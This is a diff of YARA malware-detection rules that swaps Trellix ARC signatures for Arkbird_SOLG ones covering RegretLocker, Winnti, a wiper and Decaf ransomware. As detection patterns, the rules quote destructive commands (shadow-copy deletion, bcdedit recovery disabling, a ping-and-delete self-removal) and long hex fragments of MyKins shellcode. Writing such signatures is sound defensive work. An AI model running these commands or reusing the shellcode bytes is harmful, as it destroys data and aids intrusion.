+		id = "a8d58402-15e2-5d20-8d33-2e7a3f8973fd"
+		date = "2020-11-04"
+		modified = "2020-11-04"
+		reference = "https://twitter.com/VK_Intel/status/1323693700371914753"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-04/RegretLocker/Ran_RegretLocker_Oct_2020_1.yar#L1-L24"
+		license_url = "N/A"
+		logic_hash = "2c63bdcee6f2a9025d3a1f73f3a38ec58da103752b88bd3a6bf79d85d8f92e4d"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/RedLine"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "a188e147ba147455ce5e3a6eb8ac1a46bdd58588de7af53d4ad542c6986491f4"
 
 	strings:
-		$s1 = "Cambrel.exe" fullword ascii
-		$s2 = { 22 00 54 00 65 00 78 00 74 00 49 00 6e 00 70 00 75 00 74 00 46 00 72 00 61 00 6d 00 65 00 77 00 6f 00 72 00 6b 00 2e 00 44 00 59 00 4e 00 4c 00 49 00 4e 00 4b 00 22 00 }
-		$op0 = { 06 7c 34 00 00 04 7b 17 00 00 04 7e 21 00 00 0a }
-		$op1 = { 96 00 92 0e 83 02 02 00 f4 20 }
-		$op2 = { 03 00 c6 01 d9 08 1b 03 44 }
-		$p0 = { 80 00 96 20 83 11 b7 02 10 }
-		$p1 = { 20 01 00 72 0f 00 20 02 00 8a 0f 00 20 03 00 61 }
-		$p2 = { 03 00 c6 01 cd 06 13 03 79 }
+		$seq1 = { b8 05 dd 44 00 e8 07 7d 00 00 81 ec b0 06 00 00 53 56 33 db c7 45 cc 07 00 00 00 33 c0 89 5d c8 57 66 89 45 b8 40 c7 85 7c ff ff ff 02 00 00 00 c7 45 e0 ec 4a 98 ec 8d 75 e0 c7 45 e4 f9 a0 e9 47 8d 7d 80 c7 45 e8 90 1f 71 41 c7 45 ec 5a 66 34 5b 89 45 90 89 45 b0 89 45 b4 8d 45 d0 50 a5 8d 45 b0 50 53 68 00 00 3f 00 ff 75 0c a5 8d 85 7c ff ff ff 50 89 5d fc a5 a5 e8 76 50 00 00 85 c0 74 32 ff 15 74 00 45 00 50 68 88 1b 45 00 e8 ab de ff ff 8b 75 08 8d 45 b8 59 59 88 5d f0 8b ce ff 75 f0 89 5e 10 50 89 5e 14 e8 bb 50 ff ff e9 cb 01 00 00 53 8d 45 90 50 53 6a 04 53 ff 75 d0 e8 35 50 00 00 85 c0 74 08 50 68 bc 1b 45 00 eb bd 33 c0 8d bd 4c fb ff ff b9 82 00 00 00 be 04 01 00 00 f3 ab 8d 85 4c fb ff ff 89 75 d4 50 8d 45 d4 83 cb ff 50 ff 75 d0 e8 02 50 00 00 83 65 e8 00 8d 4d d8 33 c0 6a 07 5f 66 89 45 d8 8d 85 4c fb ff ff 50 89 7d ec e8 c6 6d ff ff 6a ff 68 f4 1b 45 00 8d 4d d8 c6 45 fc 01 e8 fd e8 ff ff 83 f8 ff 74 38 83 65 a8 00 33 c9 6a ff 50 8d 45 d8 66 89 4d 98 50 8d 4d 98 89 7d ac e8 3d df ff ff 83 7d ac 08 8d 45 98 0f 43 45 98 50 e8 bc 58 02 00 59 8d 4d 98 8b d8 e8 dd 69 ff ff 56 8d 85 54 fd ff ff 50 ff 15 f0 00 45 00 8b f8 8d 85 54 fd ff ff 50 8d 4d d8 e8 57 6d ff ff 8b 4d ec 8d 45 d8 8b 55 d8 83 f9 08 8b 75 e8 0f 43 c2 66 83 7c 70 fe 5c 75 16 83 f9 08 8d 45 d8 0f 43 c2 33 c9 66 89 4c 70 fe 8b 4d ec 8b 55 d8 83 f9 08 8d 45 d8 0f 43 c2 33 c9 51 51 6a 03 51 6a 03 51 50 ff 15 dc 00 45 00 8b f0 83 fe ff 74 7e 33 c9 8d 45 d4 51 50 68 04 01 00 00 8d 85 5c ff ff ff 50 51 51 68 00 00 56 00 56 ff 15 84 01 45 00 39 9d 64 ff ff ff 75 2c 8d 45 d4 50 68 04 01 00 00 8d 85 44 f9 ff ff 50 8d 85 54 fd ff ff 50 ff 15 08 01 45 00 8d 85 44 f9 ff ff 50 8d 4d b8 e8 b1 6c ff ff 56 ff 15 a8 00 45 00 68 04 01 00 00 8d 85 54 fd ff ff 50 57 ff 15 f8 00 45 00 85 c0 0f 85 29 ff ff ff 57 ff 15 fc 00 45 00 8b 75 08 33 c0 88 45 f0 8b ce ff 75 f0 89 46 10 89 46 14 8d 45 b8 50 e8 f3 4e ff ff 8d 4d d8 e8 cb 68 ff ff 8d 4d b8 e8 c3 68 ff ff 8b 4d f4 8b c6 5f 5e 5b 64 89 0d 00 00 00 00 c9 }
+		$seq2 = { 89 7d e4 e8 d5 a9 ff ff c7 04 24 88 02 00 00 6a 40 ff 15 28 01 45 00 8b f0 c7 45 d4 88 02 00 00 8d 45 d4 89 75 e8 50 56 e8 78 1b 00 00 83 f8 6f 75 17 56 ff 15 2c 01 45 00 ff 75 d4 6a 40 ff 15 28 01 45 00 8b f0 89 45 e8 8d 45 d4 50 56 e8 52 1b 00 00 85 c0 0f 84 }
+		$com1 = "bcdedit.exe / set{ default } bootstatuspolicy ignoreallfailures" fullword ascii
+		$com2 = { 63 6d 64 2e 65 78 65 00 20 26 20 00 2f 43 20 70 69 6e 67 20 31 2e 31 2e 31 2e 31 20 2d 6e 20 31 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 20 26 20 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 }
+		$com3 = "bcdedit.exe / set{ default } recoveryenabled No" fullword ascii
+		$com4 = "vssadmin.exe Delete Shadows / All / Quiet" fullword ascii
+		$com5 = "schtasks /Create /SC MINUTE /TN " fullword ascii
+		$com6 = "schtasks /Delete /TN " fullword ascii
+		$str1 = { 47 45 54 20 25 73 20 48 54 54 50 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 25 73 }
+		$str2 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 25 73 }
+		$str3 = "Content-Type: application/x-www-form-urlencoded" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and all of ($s*) and all of ($op*) or all of ($p*)
+		uint16(0)==0x5a4d and filesize >200KB and all of ($seq*) and 4 of ($com*) and 2 of ($str*)
 }
-rule TRELLIX_ARC_Shellcode_Mykins_Botnet : SHELLCODE FILE
+rule ARKBIRD_SOLG_APT_Winnti_Elfx64_Aug_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the shellcode used in the MyKins Botnet"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "9dc80b27-59e2-5925-9bb7-64a54241f52b"
-		date = "2018-01-24"
-		modified = "2020-08-14"
-		reference = "https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_shellcode_mykins_botnet.yar#L1-L27"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "5fa54c41a423d776d05bdac5b171ee685f54372b4e6aa41b57cce769ac2c6976"
+		description = "Detect of ELF implant used by APT Winnti in August 2020"
+		author = "Arkbird_SOLG"
+		id = "112e8d60-cbcb-53a7-b458-d39ee03d5c22"
+		date = "2020-08-18"
+		modified = "2020-08-18"
+		reference = "https://twitter.com/KorbenD_Intel/status/1295725146037133312"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-18/Winnti/APT_Winnti_ELFx64_Aug_2020_1.yar#L1-L34"
+		license_url = "N/A"
+		logic_hash = "ebe6e60c45336476fd91c4185eee0414c3eba83960301a610b69c8818dbb17fd"
 		score = 75
-		quality = 70
-		tags = "SHELLCODE, FILE"
-		rule_version = "v1"
-		malware_type = "shellcode"
-		malware_family = "ShellCode:W32/MyKins"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 36
+		tags = "FILE"
+		hash1 = "6af8b3d31101f48911b13e49c660c10ed1d26b60267e8037d2ac174fc0d2f36c"
 
 	strings:
-		$a = { 4883EC28E847000000488D0DF0FFFFFF488D1539000000482BCA4803C14883C428C3CCCC488D05D5FFFFFF482BC8488BC1C3CCCC4883EC28E83F0D000033C04883C428C3CCCCCCCCCCCCCCCCCCCCCCCCE8000000005848B95510004001000000482BC148B950100040010000004803C1C3CCCCCC48897C24084C8BC94D85C0740C488BF9480FBEC2498BC8F3AA488B7C2408498BC1C3CCCC40534883EC20488BD9E85AFFFFFF488D0D53FFFFFF482BD94803C34883C4205BC3CCCCCC33D28BC2EB06FFC04883C10266391175F5F3C3CC668339004C8BC1740B4983C002664183380075F54C2BC20FB70266418904104883C2026685C075EF488BC1C34C8BC14C2BC20FB70266418904104883C2026685C075EF488BC1C3CC4C8BC14C2BC28A024188041048FFC284C075F3488BC1C3CC8039004C8BC1740949FFC04180380075F74C2BC28A024188041048FFC284C075F3488BC1C3CCCCCC48895C24084533D2458BCA4585C07E320FB702663901741A0FB719440FB7D88BC3412BC383F8207409442BDB4183FB20751041FFC14883C1024883C202453BC87CCE488B5C2408453BC8410F95C2418BC2C3CCCC4533C948895108458BC16644390A740D41FFC04963C06644390C4275F3664503C066448901664183C0026644894102C34883EC3833C04C8BD233D248895424228954242A668954242E66894424204885C9741A4D85D27415488BD1488D4C2420E89BFFFFFF488D4C242041FFD24883C438C3CCCC4883EC284863C14C8BCA4C8D44243833D233C94869C0F0D8FFFF488944243841FFD14883C428C3CC48895C241048897C241855488BEC4883EC604883651000488365C800488365D800488365E000488365F000488365F800498BD9498BF848894DC0488BC24C8D4DC04C8D45D0488D4D10BAFFFF1F00C745D030000000C745E840020000FFD0488B4D104885C9740DBA01000000FFD7488B4D10FFD34C8D5C2460498B5B18498B7B20498BE35DC3CCCC488BC44889580848896810565741544883EC308360D80083601800498BF18BEA4C8BE1498BD833FF4C8D4818488D50D88D4F054533C0FFD3894424208B44246085C0750733C0E9C20000008D14004533C033C9FFD6448B4424604C8D4C2460488BD0B9050000004503C0488BF0FFD38944242085C0740B33D2488BCEFF542470EBC28B4C246048B81986611886611886488BDE48F7E1482BCA48D1E94803CA48C1E908894C2460488B4B404885C9742E0FB743383BC57C262BC5992BC2D1F84C63C8781A8BC54A8D0C49992BC2498BD4D1F8448BC0E8AEFDFFFF85C0740B393B740B8B034803D8EBBE488B7B50488B4424784885C0740A4885FF7405488918EB0933D2488BCEFF542470488BC7488B5C2450488B6C24584883C430415C5F5EC3C20000CC4585C07410482BCA8A0288041148FFC241FFC875F3F3C3CC40534883EC20488BD9E8E6FBFFFF488D0DDFFBFFFF482BD94803C34883C4205BC3CCCCCC48895C2408488974241048897C24185541544155488BEC4883EC404863413C4C8BC1B90B020000488BF2C745E04D6D4765C745E474537973C745E874656D52C745EC6F757469C745F06E654164C745F46472657366C745F873006642394C00180F8584000000428B8400880000004533D24903C08B50208B58248B781C448B68184903D04903D84903F84585ED745B8B024533C94903C044380874234C8D5DE0488BC84C2BD8458A240B4584E47410443821750B48FFC149FFC180390075E741803C0100750842807C0DE000740E41FFC24883C204453BD57310EBB3420FB70C538B048F4903C0488906488B1E4885DB750883C8FFE9E1020000488D0D47340000E8D6FEFFFF488BD3488BC8E89BFCFFFF488D0D5034000048898690000000E8B8FEFFFF488B16488BC8E87DFCFFFF488D0D5A34000048898698000000E89AFEFFFF488B16488BC8E85FFCFFFF488D0D6C34000048894608E87FFEFFFF488B16488BC8E844FCFFFF488D0D8934000048894610E864FEFFFF488B16488BC8E829FCFFFF488D0D9E34000048894618E849FEFFFF488B16488BC8E80EFCFFFF488D0DAB34000048894620E82EFEFFFF488B16488BC8E8F3FBFFFF488D0DC834000048894628E813FEFFFF488B16488BC8E8D8FBFFFF488D0DE534000048894630E8F8FDFFFF488B16488BC8E8BDFBFFFF488D0D0235000048894638E8DDFDFFFF488B16488BC8E8A2FBFFFF488D0DF734000048894640E8C2FDFFFF488B16488BC8E887FBFFFF488D0DFC34000048894648E8A7FDFFFF488B16488BC8E86CFBFFFF488D0D0935000048894650E88CFDFFFF488B16488BC8E851FBFFFF488D0D0E35000048894658E871FDFFFF488BC8488B16E836FBFFFF488D0D2B35000048894660E856FDFFFF488B16488BC8E81BFBFFFF488D0D5035000048894668E83BFDFFFF488B16488BC8E800FBFFFF488D0D5D35000048894670E820FDFFFF488B16488BC8E8E5FAFFFF488D0D7235000048894678E805FDFFFF488B16488BC8E8CAFAFFFF488D0D8735000048898680000000E8E7FCFFFF488B16488BC8E8ACFAFFFF488D0D8935000048898688000000E8C9FCFFFF488B16488BC8E88EFAFFFF488D0D8B350000488986A0000000E8ABFCFFFF488B16488BC8E870FAFFFF488D0D95350000488986A8000000E88DFCFFFF488B16488BC8E852FAFFFF488D0DA7350000488986B0000000E86FFCFFFF488B16488BC8E834FAFFFF488D0DA1350000488986B8000000E851FCFFFF488B16488BC8E816FAFFFF488D0DA3350000488986C0000000E833FCFFFF488B16488BC8E8F8F9FFFF488D0DA5350000488986C8000000E815FCFFFF488B16488BC8E8DAF9FFFF488986D000000033C0488B5C2460488B742468488B7C24704883C440415D415C5DC348895C24085556574154415541564157488DAC2410FEFFFF4881ECF00200004533FF488BD9498BF8488BF2488D8DE100000041B80301000033D24C897C24504C897C24604C897C24704C897C24684C89BD480200004488BDE0000000E8EFF7FFFF488D4DC0C745C01C010000FF9688000000837DC40675488B45C885C0752780BDDA00000001754D83C8FF488B9C24300300004881C4F0020000415F415E415D415C5F5E5DC383F801742A83F802740583F80375D380BDDA000000017517EBC8837DC40A75C244397DC875BC80BDDA0000000175B3488BD7488BCBFF56384C393F74A541BD300000004C897C243041BE000000084C8D8D380200004C8D442478488D4C2460418D55DEBB00020000448974242848C785380200004729000044896C24784C897D80895D904C897D884C897D984C897DA0C744242040000000FF96900000004C397C24607509418D45CEE937FFFFFF895D90BB040000004C897C24304C8D8D380200004C8D442478488D4C24708D530241BC1F4C1000448974242844896C24784C897D804C897D884C89A5380200004C897D984C897DA0895C2420FF9690000000488B0F4C8D7708498BD64C8975B0FF5678488B4C2460C74424484000000044897C2440C744243802000000488D44245048894424304C8D85480200004533C94883CAFF4C897C242848C744242000200000FF9698000000488B4C2470895C244844897C2440C744243802000000488D44245048894424304C8D4424684533C94883CAFF4C897C24284C897C24504C89642420 }
-		$b = { E800000000582D051040000500104000C3558BEC8B45082D001040005DC20400558BECFF7508E80A0A000033C05DC20400558BEC8B4D1085C9741F0FB6450C69C0010101018BD153578B7D08C1E902F3AB8BCA83E103F3AA5F5B8B45085DC3558BECE899FFFFFF8B4D0881E90010400003C15DC20400558BEC8B4D0833C066390174084066833C410075F85DC20400558BEC8B450866833800568BF0740983C60266833E0075F78B4D0C2BF10FB7116689140E83C1026685D275F15E5DC20800558BEC8B55088B450C2BD00FB70866890C0283C0026685C975F18B45085DC20800558BEC8B55088B450C2BD08A08880C024084C975F68B45085DC20800558BEC8B4508803800568BF0740646803E0075FA8B4D0C2BF18A1188140E4184D275F65E5DC20800558BEC5633F63975107E2D8B45088B4D0C0FB704700FB70C71663BC174148BD08BC18BCA2BC883F92074072BC283F8207506463B75107CD333C03B75105E0F95C05DC20C00558BEC8B450C8B550850894204E8FAFEFFFF03C066890283C002668942025DC20800558BEC51515733C0668945F88D7DFAAB33C966AB5F394D08741A394D0C7415FF75088D45F850E8B3FFFFFF8D45F850FF550C8BC88BC1C9C20800558BEC51518B45086AFF9968F0D8FFFF5250E8730A00008945F88D45F8506A006A008955FCFF550CC9C20800558BEC83EC248B4508568945F48D45F4508D45DC5033F668FFFF1F008D45FC508975FC8975F8C745DC180000008975E0C745E8400200008975E48975EC8975F0FF550C3975FC5E740E6A01FF75FCFF5510FF75FCFF5514C9C21000558BEC83EC0C538D45FC5033DB538D45F8506A05895DF8895DFCFF55108945F88B45FC3BC3750733C0E99E000000565303C05053FF55148BF08D45FC508B45FC03C050566A05897514FF55108945F83BC374095356FF551833C0EB6F8B45FC33D2B9F8000000F7F1578945FC8B7E3C3BFB742E0FB746383B450C7C252B450C992BC28BC8D1F978198B450C992BC2D1F850FF75088D044F50E83BFEFFFF85C0740A8B063BC3740903F0EBC18B7E44EB028BFB8B451C3BC374083BFB74048930EB0753FF7514FF55188BC75F5E5BC9C21800C21400558BEC837D100074178B4D088B450C2BC88A10FF4D1088140140837D100075F15DC20C00558BECE8B3FCFFFF8B4D0881E90010400003C15DC20400558BEC83EC2C538B5D088B433CB90B010000568B750CC745D44D6D4765C745D874537973C745DC74656D52C745E06F757469C745E46E654164C745E86472657366C745EC730066394C18180F858F0000008B44187803C38B501C8B482003D3578B78248B40188955F033D203CB03FB8955FC8945F485C07466EB038B5D088B149183650C0003D3803A0074238D5DD42BDA8BC2895DF8EB038B5DF88A1C0384DB740D38187509FF450C4080380075E98B450C803C10007507807C05D400740E8B55FC428955FC3B55F472B0EB128B45FC0FB704478B4DF08B048103450889065F8B0685C0750883C8FFE9230200005068D0414000E8F0FEFFFF50E831FDFFFFFF3689464868F0414000E8DBFEFFFF50E81CFDFFFFFF3689464C6818424000E8C6FEFFFF50E807FDFFFFFF368946046844424000E8B1FEFFFF50E8F2FCFFFFFF368946086878424000E89CFEFFFF50E8DDFCFFFFFF3689460C68A8424000E887FEFFFF50E8C8FCFFFFFF3689461068CC424000E872FEFFFF50E8B3FCFFFFFF368946146800434000E85DFEFFFF50E89EFCFFFFFF368946186834434000E848FEFFFF50E889FCFFFFFF3689461C686C434000E833FEFFFF50E874FCFFFFFF36894620687C434000E81EFEFFFF50E85FFCFFFFFF36894624689C434000E809FEFFFF50E84AFCFFFFFF3689462868C0434000E8F4FDFFFF50E835FCFFFFFF3689462C68DC434000E8DFFDFFFF50E820FCFFFFFF368946306810444000E8CAFDFFFF50E80BFCFFFFFF36894634684C444000E8B5FDFFFF50E8F6FBFFFFFF368946386874444000E8A0FDFFFF50E8E1FBFFFFFF3689463C68A0444000E88BFDFFFF50E8CCFBFFFFFF3689464068D0444000E876FDFFFF50E8B7FBFFFFFF3689464468EC444000E861FDFFFF50E8A2FBFFFFFF368946506808454000E84CFDFFFF50E88DFBFFFFFF368946546830454000E837FDFFFF50E878FBFFFFFF36894658685C454000E822FDFFFF50E863FBFFFFFF3689465C6870454000E80DFDFFFF50E84EFBFFFFFF368946606890454000E8F8FCFFFF50E839FBFFFFFF3689466468AC454000E8E3FCFFFF50E824FBFFFF89466833C05E5BC9C20800558BEC81EC5C020000535633DB5768030100008D85A5FDFFFF5350895DF8895DE8895DDC895DF4895DFC889DA4FDFFFFE889F9FFFF8B7D0C83C40C8D85A8FEFFFF50C785A8FEFFFF1C010000FF574483BDACFEFFFF05751283BDB0FEFFFF02743983BDB0FEFFFF01EB2E83BDACFEFFFF06750E399DB0FEFFFF7510807DC201751983C8FF5F5E5BC9C20C0083BDB0FEFFFF0175ED807DC20175E78B751056FF7508FF571C391E74D95368000000086A408D45EC508D45C4506A0E8D45E850C745EC47250000895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF5748395DE875056AFE58EB955368000000086A048D45EC508D45C4506A068D45DCBE0B4C1000508975EC895DF0C745C418000000895DC8C745D000020000895DCC895DD4895DD8FF57488B45108D480451FF30894DE0FF573C6A40536A028D45F850536800200000538D45FC506AFFFF75E8FF574C6A04536A028D45F8505356538D45F4506AFFFF75DC895DF88975EC895DF0FF574C395DFC0F84330200008B75F43BF30F8428020000895E048B85B4FEFFFF8946108B85ACFEFFFF8946088B85B0FEFFFF89460C6A0C5889462C8946308B4510C7060C3C1000C7462830000000C746342C000000C7463818000000C7463CA80100008B401C894618895D0C6840464000E800F8FFFF8BC88B450C8A0C0180F10D888C05A4FDFFFF4089450C3D040100007CD98D8DA4FDFFFF8D46405150E855F8FFFF6844474000E8C9F7FFFF508D464050E85DF8FFFF8B45108B40283BC3742C8B4E1883F902750A8B40200504020000EB0D83F90375158B40200500010000508D860001000050E80BF8FFFFE825F7FFFFB9881C400081E90010400003C189450C33C9EB038B450C8A04088B55FC88040A4181F94825000072EB535353680C3C100056FF572C8BF03BF37460536A0156FF57386A1053536A015356FF57348B75108946203BC37447C680040200004E8B4620C68005020000538B4620C680060200002E8B4620C68007020000658B4620C68008020000788B4620C68009020000658B462088980A020000EB038B75108B46243BC30F8497000000895D083958040F868B000000895D0C8B46248B4D0C8B8401DC0000008D4D105150895D10FF5714395D107455FF7510FF57683B06754B536A3053FF57048945E43BC3743DE833F6FFFF53B91E13400081E90010400003C18B4DFC6A0183C12051535053FF7510FF75E4FF57245353FF75F4FF75E4FF5728FF770C6A01E8C1F7FFFFFF45088B46248B4D0883450C403B48040F8278FFFFFFFF75E0FF574033C0E9CFFCFFFFFF75E0FF57406AFDE92AFDFFFF558BEC81EC0C020000565733F66A688D8540FFFFFF565089B53CFFFFFFE8DAF5FFFF83C40C6A0A5933C06A0A8975A88D7DACF3AB5989B510FFFFFF8DBD14FFFFFFF3AB8D45A8898538FFFFFF8D853CFFFFFF50FF7508C745C401000000C7852CFFFFFF02000000E8BBF8FFFF85C00F8582010000538D85F4FDFFFF50C785F4FDFFFF1C010000FF5580BBEC45400083BDF8FDFFFF05750353EB0568D0454000E86CF8FFFF8D4DCC51FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF6A1850E856F7FFFFFFB548FFFFFF8BF83BFE750C68D0070000E8B9F6FFFFEBB46888130000E8ADF6FFFF8D45A8508D853CFFFFFF5057E849FBFFFF85C00F85F8000000EB10FFB548FFFFFF68D0070000E882F6FFFF8B45C883781C0175E783BDF8FDFFFF05750E6808464000E8E5F7FFFF6A16EB0C68D0454000E8D7F7FFFF6A18598D9534FFFFFF52FFB54CFFFFFFFFB540FFFFFFFFB544FFFFFF5150E8BCF6FFFF }
+		$lib1 = "/usr/bin/python2.7" fullword ascii
+		$lib2 = "libxselinux" fullword ascii
+		$c1 = "/cmdlineH" fullword ascii
+		$c2 = "/proc/%d/fd/%s" fullword ascii
+		$c3 = "/proc/self/exe" fullword ascii
+		$c4 = "__gmon_start__" fullword ascii
+		$c5 = "_ITM_registerTMCloneTable" fullword ascii
+		$c6 = "_ITM_deregisterTMCloneTable" fullword ascii
+		$d1 = "/usr/bin/netstat" fullword ascii
+		$d2 = "/var/run/libudev.pid" fullword ascii
+		$d3 = "/sbin/ifup-local" fullword ascii
+		$s1 = "EAEC2CA4-AF8D-4F61-8115-9EC26F6BF4E1" fullword ascii
+		$s2 = "readdir64" fullword ascii
+		$s3 = ".note.gnu.gold-version" fullword ascii
+		$s4 = ".note.gnu.build-id" fullword ascii
+		$s5 = ".eh_frame_hdr" fullword ascii
+		$s6 = "xlstat" fullword ascii
+		$s7 = "1YZ[\\<@nYSLRR]H_PGX[XmYXGFrstuvwxyz{|}~" fullword ascii
+		$info1 = "check_is_our_proc_dir" fullword ascii
+		$info2 = "get_our_sockets" fullword ascii
+		$info3 = "is_invisible_with_pids" fullword ascii
+		$info4 = "check_if_number" fullword ascii
+		$info5 = "get_our_pids" fullword ascii
 
 	condition:
-		filesize <1KB and any of them
+		uint16(0)==0x457f and filesize <15KB and (1 of ($lib*) and 4 of ($c*) and 2 of ($d*) and 4 of ($s*) and 3 of ($info*))
 }
-rule TRELLIX_ARC_Malw_Likseput_Backdoor_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_WIP_Unk_Wiper_July_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Likseput backdoor based on the PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "2193daf8-016b-5f49-97ec-b821c8da22f6"
-		date = "2011-03-26"
-		modified = "2020-08-14"
-		reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_likseput.e"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_likseput_backdoor_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "993b36370854587f4eef3366562f01ab87bc4f7b88a21f07b44bd5051340386d"
-		logic_hash = "2afc4b7e6a5f0d9fed9a075aebaac8157e843c83c55c3f2255431bb6a03459ec"
+		description = "Detect unknown wiper that focuses olympic games in Japan"
+		author = "Arkbird_SOLG"
+		id = "a03d558e-399a-506e-8f37-d4907cc68d54"
+		date = "2021-07-22"
+		modified = "2021-07-22"
+		reference = "https://www.mbsd.jp/research/20210721/blog/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-22/WIP_Unk_Wiper_July_2021_1.yara#L1-L29"
+		license_url = "N/A"
+		logic_hash = "32f66fee2547ef33121620b822f86bfdf66ff337909a56aa4f0e8ef83b6d7730"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Likseput"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 40
+		tags = "FILE"
+		hash1 = "295d0aa4bf13befebafd7f5717e7e4b3b41a2de5ef5123ee699d38745f39ca4f"
+		hash2 = "511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390"
+		tlp = "green"
+		adversary = "Olympic Destroyer ?"
 
 	strings:
-		$pdb = "\\work\\code\\2008-7-8muma\\mywork\\winInet_winApplication2009-8-7\\mywork\\aaaaaaa\\Release\\aaaaaaa.pdb"
+		$s1 = "\\\\.\\Global\\ProcmonDebugLogger" fullword ascii
+		$s2 = { 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 00 00 00 00 4f 6c 6c 79 44 62 67 }
+		$s3 = { 8d 44 24 10 50 ff 15 08 30 40 00 50 ff 15 2c 30 40 00 83 7c 24 10 00 0f 85 76 02 00 00 33 c9 0f 1f }
+		$s4 = { 50 68 00 12 40 00 ff 15 60 30 40 00 85 c0 0f 85 ef 02 00 00 50 68 80 00 00 00 6a 03 50 6a 07 68 00 00 00 80 68 0c 32 40 00 ff 15 18 30 40 00 83 }
+		$s5 = { 8b 3d d0 30 40 00 88 84 0c e8 00 00 00 8d 84 24 e8 00 00 00 50 ff d7 83 c4 04 b0 9a 33 c9 0f 1f 00 f6 d0 88 84 0c b4 00 00 00 41 8a 81 30 32 40 }
+		$s6 = { 8b ec 83 ec 14 83 65 f4 00 8d 45 f4 83 65 f8 00 50 ff 15 34 30 40 00 8b 45 f8 33 45 f4 89 45 fc ff 15 38 30 40 00 31 45 fc ff 15 3c 30 40 00 31 45 fc 8d 45 ec 50 ff 15 40 30 40 00 8b 45 f0 8d 4d fc 33 45 ec 33 45 fc 33 }
+		$p1 = { 5c 2e 5c 47 6c 6f 62 61 6c 5c 35 84 44 65 62 75 67 4c 6f 67 67 3f }
+		$p2 = "UPX" fullword ascii
+		$p3 = { 45 6e 75 6d 57 69 6e 64 6f 77 73 }
+		$p4 = { 73 65 74 5f 6e 65 77 5f 6d 6f 64 65 00 00 00 5f 63 6f 6e 66 69 67 74 68 72 65 61 64 6c 6f 63 61 6c 65 }
+		$p5 = { 4e 75 74 6f 72 75 6e 2f 43 4e 65 74 }
+		$p6 = { 44 50 52 4f 43 4d 4f 4e 5f 57 49 4e 44 4f 57 5f 43 4c 41 53 53 }
+		$p7 = { 53 6d 61 72 74 53 6e 69 66 66 67 }
+		$p8 = { 26 30 30 63 66 67 }
+		$p9 = { 72 6f 63 65 94 48 61 63 6b }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <40KB and any of them
+		uint16(0)==0x5a4d and filesize >200KB and (5 of ($s*) or 7 of ($p*))
 }
-rule TRELLIX_ARC_MALWARE_Blackpos_Pdb : POS FILE
+rule ARKBIRD_SOLG_RAN_Decaf_Nov_2021_1 : FILE
 {
 	meta:
-		description = "BlackPOS PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "f37e1522-49c4-5369-bc2c-33b070e9eae7"
-		date = "2014-01-24"
-		modified = "2020-08-14"
-		reference = "https://en.wikipedia.org/wiki/BlackPOS_Malware"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_blackpos_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5a963e8aca62f3cf5872c6bff02d6dee0399728554c6ac3f5cb312b2ba7d7dbf"
-		logic_hash = "d8f3fa380ca15f0fae432849b8c16cb8a0a9d1427d3e72fbf89cbbd63b0849c9"
+		description = "Detect Decaf ransomware (unpacked UPX)"
+		author = "Arkbird_SOLG"
+		id = "d19b2d31-a6c5-5033-ba43-4e9ccabc37bb"
+		date = "2021-11-01"
+		modified = "2021-11-02"
+		reference = "https://blog.morphisec.com/decaf-ransomware-a-new-golang-threat-makes-its-appearance"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-01/Decaf/RAN_Decaf_Nov_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "5cea33d710d252b39bcd8ae227f52d10897b7fe58b1ff5226a1cb8cc094d600c"
 		score = 75
-		quality = 70
-		tags = "POS, FILE"
-		rule_version = "v1"
-		malware_type = "pos"
-		malware_family = "Pos:W32/BlackPos"
